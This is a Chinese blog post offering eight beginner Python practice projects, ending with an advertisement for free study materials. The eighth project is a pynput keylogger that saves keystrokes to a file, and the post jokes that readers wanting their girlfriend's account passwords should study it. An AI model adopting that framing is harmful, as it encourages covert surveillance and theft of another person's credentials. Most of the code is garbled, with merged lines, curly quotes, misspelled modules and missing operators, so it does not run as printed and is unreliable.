正文
今天给大家分享的,是一些实战练习的小案例,如果你还是Python小白,可以再看看我前面几篇文章,如果是有了一点基础,那就尝试完成下面这些案例吧!
![](https://img-blog.csdnimg.cn/img_convert/cb2306eef59c13da840798b81d20f3df.jpeg)
**一、自动发送邮件**
用Python编写一个可以发送电子邮件的脚本。
提示:email库可用于发送电子邮件。
import smtplib
from email.message import EmailMessageemail = EmailMessage() ## Creating a object for EmailMessage
email[‘from’] = ‘xyz name’ ## Person who is sendingemail['to'] = 'xyz id' ## Whom we are sending
email[‘subject’] = ‘xyz subject’ ## Subject of emailemail.set_content("Xyz content of email") ## content of email
with smtlib.SMTP(host=‘smtp.gmail.com’,port=587)as smtp:
## sending request to server smtp.ehlo() ## server object
smtp.starttls() ## used to send data between server and clientsmtp.login("email_id","Password") ## login id and password of gmail` `smtp.send_message(email) ## Sending email
print(“email send”) ## Printing success message
**二、Hangman(猜单词的游戏)**
用Python创建一个简单的hangman猜单词游戏。
提示:创建一个密码词的列表并随机选择一个单词。将每个单词用下划线“”表示,让用户猜单词,如果用户猜对了,则将用单词替换掉“”。
import timeimport random
name = input(“What is your name? “)print ("Hello, " + name, "Time to play hangman!")
time.sleep(1)print ("Start guessing...\n")
time.sleep(0.5)## A List Of Secret Words
words = [‘python’,‘programming’,‘treasure’,‘creative’,‘medium’,‘horror’]word = random.choice(words)
guesses = ''turns = 5
while turns > 0: failed = 0
for char in word:
if char in guesses:
print (char,end=””)
else:print ("_",end=""),
failed += 1if failed == 0:` `print ("\nYou won")` `break` `guess = input("\nguess a character:")
guesses += guess
if guess not in word: turns -= 1` `print("\nWrong")
print(“\nYou have”, + turns, ‘more guesses’)
if turns == 0:
print (“\nYou Lose”)
**三、闹钟**
用Python编写一个创建闹钟的脚本。
提示:用date-time模块创建闹钟,然后用playsound库播放声音。
from datetime import datetime
from playsound import playsoundalarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")
alarm_hour=alarm_time[0:2]alarm_minute=alarm_time[3:5]
alarm_seconds=alarm_time[6:8]alarm_period = alarm_time[9:11].upper()
print(“Setting up alarm…”)while True:` `now = datetime.now()` `current_hour = now.strftime("%I")` `current_minute = now.strftime("%M")` `current_seconds = now.strftime("%S")` `current_period = now.strftime("%p")
if(alarm_periodcurrent_period):if(alarm_hour==current_hour):
if(alarm_minutecurrent_minute):if(alarm_seconds==current_seconds):` `print("Wake Up!")` `playsound('audio.mp3') ## download the alarm sound from link
break
**四、石头剪刀布游戏**
创建一个石头剪刀布的游戏,游戏者与与计算机PK。如果游戏者赢了,得分就会添加,看谁最终的得分最高。
提示:先判断游戏者的选择,然后与计算机的选择进行比较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜,则增加1分。
import randomchoices = ["Rock", "Paper", "Scissors"]
computer = random.choice(choices)player = False
cpu_score = 0player_score = 0
while True:
player = input(“Rock, Paper or Scissors?”).capitalize()# 判断电脑与游戏者的选择
if player == computer:
print(“Tie!”)elif player == "Rock":
if computer == “Paper”:
print(“You lose!”, computer, “covers”, player)
cpu_score+=1else:` `print("You win!", player, "smashes", computer)` `player_score+=1
elif player == “Paper”:if computer == "Scissors":` `print("You lose!", computer, "cut", player)` `cpu_score+=1
else:
print(“You win!”, player, “covers”, computer)
player_score+=1elif player == "Scissors":
if computer == “Rock”:
print(“You lose…”, computer, “smashes”, player)
cpu_score+=1else:` `print("You win!", player, "cut", computer)` `player_score+=1
elif player==‘E’:
print(“Final Scores:”)
print(f"CPU:{cpu_score}“)
print(f"Plaer:{player_score}”)break
else:
print(“That’s not a valid play. Check your spelling!”)
computer = random.choice(choices)
**五、提醒小工具**
利用Python一个提醒小工具,在设定好的时间在桌面做提醒通知。
提示:跟踪提醒时间可以用Time模块,显示桌面通知可以用toastnotifier库。
安装:win10toast
from win10toast import ToastNotifierimport time
toaster = ToastNotifier()try:` `print("Title of reminder")` `header = input()` `print("Message of reminder")` `text = input()` `print("In how many minutes?")` `time_min = input()` `time_min=float(time_min)
except:
header = input(“Title of reminder\n”)
text = input(“Message of remindar\n”)
time_min=float(input(“In how many minutes?\n”))time_min = time_min * 60
print(“Setting up reminder…”)time.sleep(2)
print(“all set!”)time.sleep(time_min)
toaster.show_toast(f"{header}",f"{text}",
duration=10,threaded=True)
while toaster.notification_active(): time.sleep(0.005)
**六、文章朗读器**
用Python编写一个脚本,实现自动从提供的链接读取文章的功能。另外,搜索公众号编程技术圈后台回复“Python进阶”,获取一份惊喜礼包。
import pyttsx3import requests
from bs4 import BeautifulSoupurl = str(input("Paste article url\n"))
def content(url):
res = requests.get(url)
soup = BeautifulSoup(res.text,‘html.parser’)
articles = []for i in range(len(soup.select('.p'))):` `article = soup.select('.p')[i].getText().strip()` `articles.append(article)` `contents = " ".join(articles)
return contentsengine = pyttsx3.init('sapi5')
voices = engine.getProperty(‘voices’)engine.setProperty('voice', voices[0].id)
def speak(audio):
engine.say(audio)
engine.runAndWait()
contents = content(url)
## print(contents) ## In case you want to see the content
#engine.save_to_file
#engine.runAndWait() ## In case if you want to save the article as a audio file
**七、短网址生成器**
用Python编写一个脚本,实现用API缩短指定URL的功能。
from future import with_statementimport contextlib
try:from urllib.parse import urlencode
except ImportError:from urllib import urlencode
try:from urllib.request import urlopen
except ImportError:from urllib2 import urlopen
import sys
def make_tiny(url):` `request_url = ('http://tinyurl.com/api-create.php?' +
urlencode({‘url’:url}))with contextlib.closing(urlopen(request_url)) as response:
return response.read().decode(‘utf-8’)
def main():
for tinyurl in map(make_tiny, sys.argv[1:]):
print(tinyurl)
``if name == ‘main’:
main()
**八、键盘记录器**
用Python编写一个脚本,实现将用户在键盘上按过的按键记录下来,并保存在一个文本文件中。
提示:控制键盘和鼠标的移动就不得不推荐pynput这个库了,它还可以用于制作键盘记录器,通过读取被按下的键,然后将它们保存在一个文本文件中。(咳咳,想知道女朋友的账号密码的可以好好学习下)
from pynput.keyboard import Key, Controller,Listenerimport time
keyboard = Controller()
keys=[]
def on_press(key):global keys
#keys.append(str(key).replace(“'”,“”))
string = str(key).replace(“'”,“”)
keys.append(string)
main_string = “”.join(keys)
print(main_string)if len(main_string)>15:
with open(‘keys.txt’, ‘a’) as f:
f.write(main_string)keys= []` `def on_release(key):
if key == Key.esc:return False
with listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
![](https://img-blog.csdnimg.cn/img_convert/71d430cc6730717c6685cc531682372b.png)
以上就是“适合Python练手的8个经典项目,有趣又实用!”的全部内容,希望对你有所帮助。
关于Python技术储备
学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助!
一、Python所有方向的学习路线
Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、Python必备开发工具
三、Python视频合集
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
四、实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、Python练习题
检查学习结果。
六、面试资料
我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。
最后祝大家天天进步!!
上面这份完整版的Python全套学习资料已经上传至CSDN官方,朋友如果需要可以直接微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】。